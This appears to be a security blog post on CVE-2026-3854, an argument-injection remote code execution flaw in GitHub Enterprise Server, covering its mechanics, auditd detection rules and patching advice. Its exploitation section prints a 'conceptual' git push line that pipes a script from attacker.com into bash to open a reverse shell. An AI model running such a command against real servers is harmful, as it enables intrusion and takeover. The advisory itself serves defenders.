The March 2026 GitHub Enterprise RCE: A Deep Dive into CVE-2026-3854
A seemingly normal developer action—typing git push—became the entry point for one of the most severe enterprise vulnerabilities disclosed this year. CVE-2026-3854, patched in March 2026, carries a CVSS score of 9.9. It allowed unauthenticated or low-privileged attackers to achieve full Remote Code Execution (RCE) on GitHub Enterprise Server (GHES) instances.
If you are running a self-hosted GHES environment, this is a drop-everything-and-patch moment. The vulnerability stems from how the backend Git RPC processes arguments during a push operation, allowing malicious payload injection directly into the host OS.
The Core Problem: Git RPC Argument Injection
When a user pushes code to a GitHub server, the repository layer hands the data over to internal backend services (often involving Git RPC and internal C/Ruby wrappers) to process the incoming packfile.
The flaw in CVE-2026-3854 relies on a failure to properly sanitize specific command-line arguments passed from the client-side git push command through to the internal git-receive-pack binary. By crafting a specific packfile payload and modifying the push options, an attacker can break out of the intended argument array and execute arbitrary bash commands under the context of the GitHub Enterprise git user.
Architecture of the argument injection vulnerability bypassing standard API gateways.
This is similar in concept to previous Git vulnerabilities where underlying binaries inherently trust the environment or arguments passed to them by parent processes. Because this occurs before full authorization checks validate the contents of the repository, the attacker does not need write access to the target repository—merely the ability to reach the Git SSH or HTTPS endpoint.
Exploitation Mechanics
While we won't drop a weaponized exploit here, understanding the payload structure is critical for defenders building detection rules.
The exploit generally involves using the --receive-pack argument in standard Git to pass unexpected shell metacharacters.
# A benign invocation of git push to a remote server git push origin main # The structural concept of the argument injection (Conceptual) git push origin main --receive-pack="git-receive-pack; /bin/bash -c 'curl http://attacker.com/revshell | bash'"
When the vulnerable GHES backend processes this, it attempts to execute the entire string as the binary path or parses it loosely into a system() call instead of a safe execve() array, resulting in the execution of the reverse shell.
What This Means for Defenders
You cannot rely on standard web application firewalls (WAF) to catch this. The attack payload is embedded within the Git protocol stream (either over SSH on port 22, or encoded in the smart HTTP protocol on port 443). Most WAFs fail to inspect Git packfile streams deeply enough to catch argument injections.
Instead, defenders must monitor process execution on the GHES appliance itself.
Detection with Auditd
If you forward logs from your GHES appliance to a SIEM like Splunk, you should be hunting for unusual child processes spawning from git-receive-pack or sshd.
# Example Auditd rule to catch anomalous execution from git binaries -a always,exit -F arch=b64 -F exe=/usr/bin/bash -F ppid=$(pidof git-receive-pack) -k github_rce_suspect -a always,exit -F arch=b64 -F exe=/usr/bin/curl -F ppid=$(pidof git-receive-pack) -k github_rce_suspect
A SIEM alert should fire immediately if git-receive-pack spawns curl, wget, bash, or sh.
Mitigation and Patching
The only definitive fix is updating your GHES instance. GitHub has released patches across all supported version branches.
- Update GHES: Apply the March 2026 security patches immediately.
- Restrict Access: If you cannot patch immediately, restrict access to port 22 and 443 of your GHES appliance to trusted IP ranges (e.g., corporate VPN).
- Monitor Outbound Traffic: The GHES appliance rarely needs to initiate outbound HTTP/HTTPS connections to unknown external IPs. Block outbound internet access from the appliance to prevent reverse shells from connecting back to attacker infrastructure.
A security dashboard confirming the GHES appliance has been successfully updated.
This vulnerability is a stark reminder that even mature, heavily audited platforms can harbor critical bugs in the seams between different internal services. Keep your instances patched, monitor your process trees, and restrict outbound appliance traffic.
References / Further reading
- GitHub Enterprise Server Release Notes
- CISA Known Exploited Vulnerabilities Catalog
- March 2026 GitHub Security Bulletin
- NVD - CVE-2026-3854
